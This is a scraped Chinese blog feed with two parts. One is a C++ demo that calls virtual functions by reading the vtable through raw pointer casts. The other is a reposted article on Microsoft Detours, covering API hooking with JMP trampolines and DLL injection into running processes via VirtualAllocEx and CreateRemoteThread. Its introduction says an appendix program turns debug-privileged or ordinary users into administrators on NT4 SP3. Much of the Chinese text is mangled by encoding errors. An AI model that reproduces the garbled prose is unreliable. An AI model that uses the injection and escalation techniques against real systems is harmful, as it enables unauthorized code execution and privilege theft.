ma2;<br></span><span style="COLOR: #008080">25</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    </span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000"> mb2;<br></span><span style="COLOR: #008080">26</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/InBlock.gif"><br></span><span style="COLOR: #008080">27</span><span style="COLOR: #000000"><img id=Codehighlighter1_546_584_Open_Image onclick="this.style.display='none'; Codehighlighter1_546_584_Open_Text.style.display='none'; Codehighlighter1_546_584_Closed_Image.style.display='inline'; Codehighlighter1_546_584_Closed_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_546_584_Closed_Image onclick="this.style.display='none'; Codehighlighter1_546_584_Closed_Text.style.display='none'; Codehighlighter1_546_584_Open_Image.style.display='inline'; Codehighlighter1_546_584_Open_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ContractedSubBlock.gif">    </span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000"> member_func2()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_546_584_Closed_Text><img src="http://m.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_546_584_Open_Text><span style="COLOR: #000000">{printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">derive::member_func2\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);}</span></span><span style="COLOR: #000000"><br></span><span style="COLOR: #008080">28</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ExpandedBlockEnd.gif">}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">29</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/None.gif"><br></span><span style="COLOR: #008080">30</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #0000ff">class</span><span style="COLOR: #000000"> derive2 : </span><span style="COLOR: #0000ff">public</span><span style="COLOR: #000000"> derive<br></span><span style="COLOR: #008080">31</span><span style="COLOR: #000000"><img id=Codehighlighter1_620_935_Open_Image onclick="this.style.display='none'; Codehighlighter1_620_935_Open_Text.style.display='none'; Codehighlighter1_620_935_Closed_Image.style.display='inline'; Codehighlighter1_620_935_Closed_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ExpandedBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_620_935_Closed_Image onclick="this.style.display='none'; Codehighlighter1_620_935_Closed_Text.style.display='none'; Codehighlighter1_620_935_Open_Image.style.display='inline'; Codehighlighter1_620_935_Open_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ContractedBlock.gif"></span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_620_935_Closed_Text><img src="http://m.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_620_935_Open_Text><span style="COLOR: #000000">{<br></span><span style="COLOR: #008080">32</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/InBlock.gif"></span><span style="COLOR: #0000ff">public</span><span style="COLOR: #000000">:<br></span><span style="COLOR: #008080">33</span><span style="COLOR: #000000"><img id=Codehighlighter1_643_644_Open_Image onclick="this.style.display='none'; Codehighlighter1_643_644_Open_Text.style.display='none'; Codehighlighter1_643_644_Closed_Image.style.display='inline'; Codehighlighter1_643_644_Closed_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_643_644_Closed_Image onclick="this.style.display='none'; Codehighlighter1_643_644_Closed_Text.style.display='none'; Codehighlighter1_643_644_Open_Image.style.display='inline'; Codehighlighter1_643_644_Open_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ContractedSubBlock.gif">    derive2()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_643_644_Closed_Text><img src="http://m.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_643_644_Open_Text><span style="COLOR: #000000">{}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">34</span><span style="COLOR: #000000"><img id=Codehighlighter1_661_662_Open_Image onclick="this.style.display='none'; Codehighlighter1_661_662_Open_Text.style.display='none'; Codehighlighter1_661_662_Closed_Image.style.display='inline'; Codehighlighter1_661_662_Closed_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_661_662_Closed_Image onclick="this.style.display='none'; Codehighlighter1_661_662_Closed_Text.style.display='none'; Codehighlighter1_661_662_Open_Image.style.display='inline'; Codehighlighter1_661_662_Open_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ContractedSubBlock.gif">    </span><span style="COLOR: #000000">~</span><span style="COLOR: #000000">derive2()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_661_662_Closed_Text><img src="http://m.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_661_662_Open_Text><span style="COLOR: #000000">{}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">35</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/InBlock.gif"><br></span><span style="COLOR: #008080">36</span><span style="COLOR: #000000"><img id=Codehighlighter1_690_722_Open_Image onclick="this.style.display='none'; Codehighlighter1_690_722_Open_Text.style.display='none'; Codehighlighter1_690_722_Closed_Image.style.display='inline'; Codehighlighter1_690_722_Closed_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_690_722_Closed_Image onclick="this.style.display='none'; Codehighlighter1_690_722_Closed_Text.style.display='none'; Codehighlighter1_690_722_Open_Image.style.display='inline'; Codehighlighter1_690_722_Open_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ContractedSubBlock.gif">    </span><span style="COLOR: #0000ff">virtual</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000"> func3()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_690_722_Closed_Text><img src="http://m.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_690_722_Open_Text><span style="COLOR: #000000">{printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">derive2::func3\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">37</span><span style="COLOR: #000000"><img id=Codehighlighter1_749_781_Open_Image onclick="this.style.display='none'; Codehighlighter1_749_781_Open_Text.style.display='none'; Codehighlighter1_749_781_Closed_Image.style.display='inline'; Codehighlighter1_749_781_Closed_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_749_781_Closed_Image onclick="this.style.display='none'; Codehighlighter1_749_781_Closed_Text.style.display='none'; Codehighlighter1_749_781_Open_Image.style.display='inline'; Codehighlighter1_749_781_Open_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ContractedSubBlock.gif">    </span><span style="COLOR: #0000ff">virtual</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000"> func4()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_749_781_Closed_Text><img src="http://m.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_749_781_Open_Text><span style="COLOR: #000000">{printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">derive2::func4\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">38</span><span style="COLOR: #000000"><img id=Codehighlighter1_808_840_Open_Image onclick="this.style.display='none'; Codehighlighter1_808_840_Open_Text.style.display='none'; Codehighlighter1_808_840_Closed_Image.style.display='inline'; Codehighlighter1_808_840_Closed_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_808_840_Closed_Image onclick="this.style.display='none'; Codehighlighter1_808_840_Closed_Text.style.display='none'; Codehighlighter1_808_840_Open_Image.style.display='inline'; Codehighlighter1_808_840_Open_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ContractedSubBlock.gif">    </span><span style="COLOR: #0000ff">virtual</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000"> func5()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_808_840_Closed_Text><img src="http://m.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_808_840_Open_Text><span style="COLOR: #000000">{printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">derive2::func5\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">39</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/InBlock.gif"><br></span><span style="COLOR: #008080">40</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    </span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000"> ma3;<br></span><span style="COLOR: #008080">41</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    </span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000"> mb3;<br></span><span style="COLOR: #008080">42</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/InBlock.gif"><br></span><span style="COLOR: #008080">43</span><span style="COLOR: #000000"><img id=Codehighlighter1_894_933_Open_Image onclick="this.style.display='none'; Codehighlighter1_894_933_Open_Text.style.display='none'; Codehighlighter1_894_933_Closed_Image.style.display='inline'; Codehighlighter1_894_933_Closed_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_894_933_Closed_Image onclick="this.style.display='none'; Codehighlighter1_894_933_Closed_Text.style.display='none'; Codehighlighter1_894_933_Open_Image.style.display='inline'; Codehighlighter1_894_933_Open_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ContractedSubBlock.gif">    </span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000"> member_func3()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_894_933_Closed_Text><img src="http://m.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_894_933_Open_Text><span style="COLOR: #000000">{printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">derive2::member_func3\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);}</span></span><span style="COLOR: #000000"><br></span><span style="COLOR: #008080">44</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ExpandedBlockEnd.gif">}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">45</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000"> _tmain(</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000"> argc, _TCHAR</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000"> argv[])<br></span><span style="COLOR: #008080">46</span><span style="COLOR: #000000"><img id=Codehighlighter1_975_1482_Open_Image onclick="this.style.display='none'; Codehighlighter1_975_1482_Open_Text.style.display='none'; Codehighlighter1_975_1482_Closed_Image.style.display='inline'; Codehighlighter1_975_1482_Closed_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ExpandedBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_975_1482_Closed_Image onclick="this.style.display='none'; Codehighlighter1_975_1482_Closed_Text.style.display='none'; Codehighlighter1_975_1482_Open_Image.style.display='inline'; Codehighlighter1_975_1482_Open_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ContractedBlock.gif"></span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_975_1482_Closed_Text><img src="http://m.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_975_1482_Open_Text><span style="COLOR: #000000">{<br></span><span style="COLOR: #008080">47</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    typedef </span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000"> (</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">Fun)(</span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">);<br></span><span style="COLOR: #008080">48</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/InBlock.gif"><br></span><span style="COLOR: #008080">49</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    Fun pfun </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">50</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    derive2</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000"> d2 </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">new</span><span style="COLOR: #000000"> derive2;<br></span><span style="COLOR: #008080">51</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    </span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000"> p </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> (</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">)d2;<br></span><span style="COLOR: #008080">52</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    </span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">(p</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">) </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">20</span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">53</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    </span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">(p</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">) </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">30</span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">54</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    </span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">(p</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">3</span><span style="COLOR: #000000">) </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">200</span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">55</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    </span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">(p</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">4</span><span style="COLOR: #000000">) </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">300</span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">56</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    </span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">(p</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">5</span><span style="COLOR: #000000">) </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">2000</span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">57</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    </span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">(p</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">6</span><span style="COLOR: #000000">) </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">30000</span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">58</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/InBlock.gif"><br></span><span style="COLOR: #008080">59</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    </span><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000"> (</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000"> i </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">; i</span><span style="COLOR: #000000"><</span><span style="COLOR: #000000">5</span><span style="COLOR: #000000">; i</span><span style="COLOR: #000000">++</span><span style="COLOR: #000000">)<br></span><span style="COLOR: #008080">60</span><span style="COLOR: #000000"><img id=Codehighlighter1_1225_1360_Open_Image onclick="this.style.display='none'; Codehighlighter1_1225_1360_Open_Text.style.display='none'; Codehighlighter1_1225_1360_Closed_Image.style.display='inline'; Codehighlighter1_1225_1360_Closed_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_1225_1360_Closed_Image onclick="this.style.display='none'; Codehighlighter1_1225_1360_Closed_Text.style.display='none'; Codehighlighter1_1225_1360_Open_Image.style.display='inline'; Codehighlighter1_1225_1360_Open_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ContractedSubBlock.gif">    </span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_1225_1360_Closed_Text><img src="http://m.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_1225_1360_Open_Text><span style="COLOR: #000000">{<br></span><span style="COLOR: #008080">61</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/InBlock.gif">        Fun pfun </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> (Fun)</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">((</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">(p</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">i);<br></span><span style="COLOR: #008080">62</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/InBlock.gif">        </span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> (pfun)<br></span><span style="COLOR: #008080">63</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/InBlock.gif">            pfun();<br></span><span style="COLOR: #008080">64</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/InBlock.gif">        </span><span style="COLOR: #0000ff">else</span><span style="COLOR: #000000"><br></span><span style="COLOR: #008080">65</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/InBlock.gif">            printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">null\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br></span><span style="COLOR: #008080">66</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ExpandedSubBlockEnd.gif">     }</span></span><span style="COLOR: #000000"><br></span><span style="COLOR: #008080">67</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    <br></span><span style="COLOR: #008080">68</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    </span><span style="COLOR: #0000ff">base</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000"> b2 </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">new</span><span style="COLOR: #000000"> derive;<br></span><span style="COLOR: #008080">69</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    </span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000"> p2 </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> (</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">)b2;<br></span><span style="COLOR: #008080">70</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    pfun </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> (Fun)</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">((</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">(p2</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">3</span><span style="COLOR: #000000">);<br></span><span style="COLOR: #008080">71</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    pfun();<br></span><span style="COLOR: #008080">72</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    <br></span><span style="COLOR: #008080">73</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    </span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">74</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ExpandedBlockEnd.gif">}</span></span><span style="COLOR: #000000"><br></span><span style="COLOR: #008080">75</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/None.gif"></span></div> <p><span style="WIDOWS: 2; TEXT-TRANSFORM: none; TEXT-INDENT: 0px; BORDER-COLLAPSE: separate; FONT: 16px Simsun; WHITE-SPACE: normal; ORPHANS: 2; LETTER-SPACING: normal; COLOR: rgb(0,0,0); WORD-SPACING: 0px; -webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px" class=Apple-style-span><span style="LINE-HEIGHT: 16px; FONT-FAMILY: Verdana, Arial, sans-serif; FONT-SIZE: 13px" class=Apple-style-span><span style="COLOR: purple" class=code-string></span></span></span> </p> <img src ="http://m.shnenglu.com/codeart/aggbug/125326.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://m.shnenglu.com/codeart/" target="_blank">codeArt</a> 2010-08-31 01:32 <a href="http://m.shnenglu.com/codeart/archive/2010/08/31/125326.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>关于Detours[转]http://m.shnenglu.com/codeart/archive/2010/08/29/125226.htmlcodeArtcodeArtSun, 29 Aug 2010 15:08:00 GMThttp://m.shnenglu.com/codeart/archive/2010/08/29/125226.htmlhttp://m.shnenglu.com/codeart/comments/125226.htmlhttp://m.shnenglu.com/codeart/archive/2010/08/29/125226.html#Feedback0http://m.shnenglu.com/codeart/comments/commentRss/125226.htmlhttp://m.shnenglu.com/codeart/services/trackbacks/125226.htmlDetours是微软开发的一个函数库Q源代码可在http://research.microsoft.com/sn/detours 免费获得Q? 用于修改q行中的E序在内存中的媄像,从而即使没有源代码也能改变E序的行为。具体用途是Q?br style="LINE-HEIGHT: normal">
拦截WIN32 API调用Q将其引导到自己的子E序Q从而实现WIN32 API的定制?br style="LINE-HEIGHT: normal">Z个已在运行的q程创徏一新线E,装入自己的代码ƈq行?br style="LINE-HEIGHT: normal">本文简介Detours的原理,Detours库函数的用法Q?q利用Detours库函数在Windows NT上编写了一个程序,该程序能使有“调试E序”的用h限的用户成ؓpȝ理员,附录利用Detours库函C改该E序使普通用户即可成为系l管理员Q在NT4 SP3上)?br style="LINE-HEIGHT: normal">
一Q?Detours的原?br style="LINE-HEIGHT: normal">
1Q?WIN32q程的内存管?br style="LINE-HEIGHT: normal">
L周知QWINDOWS NT实现了虚拟存储器Q每一WIN32q程拥有4GB的虚存空_ 关于WIN32q程的虚存结构及其操作的具体l节请参阅WIN32 API手册Q?以下仅指ZDetours相关的几点:

(1) q程要执行的指o也放在虚存空间中
(2) 可以使用QueryProtectEx函数把存放指令的面的权限更改ؓ可读可写可执行,再改写其内容Q从而修Ҏ在运行的E序
(3) 可以使用VirtualAllocEx从一个进Eؓ另一正运行的q程分配虚存Q再使用 QueryProtectEx函数把页面的权限更改为可d写可执行Qƈ把要执行的指令以二进制机器码的Ş式写入,从而ؓ一个正在运行的q程注入L的代?br style="LINE-HEIGHT: normal">
2Q?拦截WIN32 API的原?br style="LINE-HEIGHT: normal">
Detours定义了三个概念:

(1) Target函数Q要拦截的函敎ͼ通常为Windows的API?br style="LINE-HEIGHT: normal">(2) Trampoline函数QTarget函数的复制品。因为Detours会改写Target函数Q所以先把Target函数复制保存好,一斚w仍然保存Target函数的过E调用语义,另一斚w便于以后的恢复?br style="LINE-HEIGHT: normal">(3) Detour 函数Q用来替代Target函数的函数?br style="LINE-HEIGHT: normal">
Detours在Target函数的开头加入JMP Address_of_ Detour_ Function指oQ共5个字节)把对Target函数的调用引导到自己的Detour函数Q?把Target函数的开头的5个字节加上JMP Address_of_ Target _ Function+5作ؓTrampoline函数。例子如下:

拦截前:Target _ FunctionQ?br style="LINE-HEIGHT: normal">QTarget函数入口Q以下ؓ假想的常见的子程序入口代?br style="LINE-HEIGHT: normal">push   ebp
mov   ebp,   esp
push   eax
push   ebx
Trampoline:
Q以下是Target函数的l部?br style="LINE-HEIGHT: normal">……

拦截后: Target _ FunctionQ?br style="LINE-HEIGHT: normal">jmp   Detour_Function
Trampoline:
Q以下是Target函数的l部?br style="LINE-HEIGHT: normal">……

Trampoline_Function:
; Trampoline函数入口, 开头的5个字节与Target函数相同
push   ebp
mov   ebp,   esp
push   eax
push   ebx
Q蟩回去l箋执行Target函数
jmp   Target_Function+5
3Q?Z个已在运行的q程装入一个DLL

以下是其步骤Q?br style="LINE-HEIGHT: normal">
(1) 创徏一个ThreadFuctionQ内容仅是调用LoadLibrary?br style="LINE-HEIGHT: normal">(2) 用VirtualAllocExZ个已在运行的q程分配一片虚存,q把权限更改为可d写可执行?br style="LINE-HEIGHT: normal">(3) 把ThreadFuction的二q制机器码写入这片虚存?br style="LINE-HEIGHT: normal">(4) 用CreateRemoteThread在该q程上创Z个线E,传入前面分配的虚存的起始地址作ؓU程函数的地址Q即可ؓ一个已在运行的q程装入一个DLL。通过DllMain 卛_在一个已在运行的q程中运行自q代码?br style="LINE-HEIGHT: normal">
二. Detours库函数的用法

因ؓDetours软g包ƈ没有附带帮助文gQ以下接口仅从剖析源代码得出?br style="LINE-HEIGHT: normal">
1Q?PBYTE WINAPI DetourFindFunction(PCHAR pszModule, PCHAR pszFunction)

